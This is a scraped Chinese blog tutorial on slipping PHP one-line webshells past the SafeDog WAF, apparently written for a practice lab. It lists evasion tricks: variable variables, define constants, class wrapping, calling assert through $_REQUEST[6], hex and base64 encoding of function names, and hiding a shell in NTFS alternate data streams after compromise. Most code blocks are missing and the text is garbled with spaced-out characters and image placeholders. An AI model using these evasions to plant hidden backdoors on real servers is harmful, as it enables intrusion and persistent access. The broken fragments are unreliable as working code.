WAF绕过--小马绕过

WAF绕过之小马免杀

WAF:安全狗-Apache版 v4

正常的PHP一句话木马:

对于这个正常的一句话木马,安全狗会拦截。

关于拦截其实最主要的还是测试,看看Waf究竟怎么拦截。[最直接的检测应该是正则匹配]

我们尝试只写 发现没有拦截,但是加了 R E Q U E S T [ 6 ] 就 拦 截 了 那 么 我 们 是 不 是 可 以 尝 试 测 试 看 看 究 竟 拦 截 _REQUEST[6]就拦截了 那么我们是不是可以尝试测试看看究竟拦截 REQUEST[6]_REQUEST[6]的那个部分。

然后测试发现,他拦截的是$_REQUEST[

那么我们只要不出现中括号就可以解决对吗?或者我们尝试把这个变量换一个就可以解决。

end()函数

end() 将数组的内部指针移动到最后一个单元并返回其值

绕过

常量定义 define

define:定义一个常量:difine(常量名,常量值)

绕过

字符串拼接+$$

绕过

函数分离

绕过

定义类

绕过
a");
	}
}
$t = new Test;
$t->a = ''.$_REQUEST[6];
?>

多方式传参

绕过
$value){
	if($key=='assert'){
		$key($_REQUEST[6]);
	}
}
?>

已定义数组

get_defined_functions():返回数组,包含了所有已定义的函数,包括内置(internal) 和用户定义的函数。 可通过 a r r [ " i n t e r n a l " ] 来 访 问 系 统 内 置 函 数 , 通 过 arr["internal"]来访问系统内置函数, 通过 arr["internal"]访arr[“user”]来访问用户自定义函数.。

5.6.27:[850]=> string(6) “assert”

5.4.45:[841]=> string(6) “assert”

7.0.12:[763]=> string(6) “assert”

绕过


关键函数编码

对关键函数的字符串进行变换

绕过

\x65对应的字母是e
\x后面跟的是字符ASCII码的十六进制,e的ASCII码16进制为65

base64编码函数

assert的base64编码是:YXNzZXJ0

绕过

多次base64编码:


外联数据库绕过

绕过

WAF绕过--小马绕过_第1张图片

windows 隐藏shell:nfs文件流(拿到shell后)

cmd:

echo helloworld >> /:test.txt

WAF绕过--小马绕过_第2张图片

test.txt文件不会显示在文件夹中。

但是可以使用1.php去包含test.txt


WAF绕过--小马绕过_第3张图片

隐藏:
echo "" >> /:123.txt

WAF绕过--小马绕过_第4张图片

1.php:


(img-Qsc4GGZC-1621259989767)]

隐藏:
echo "" >> /:123.txt

[外链图片转存中…(img-fJlQhLoH-1621259989768)]

1.php:


WAF绕过--小马绕过_第5张图片

你可能感兴趣的:(zkaq靶场,php,一句话木马,waf,waf绕过,渗透测试)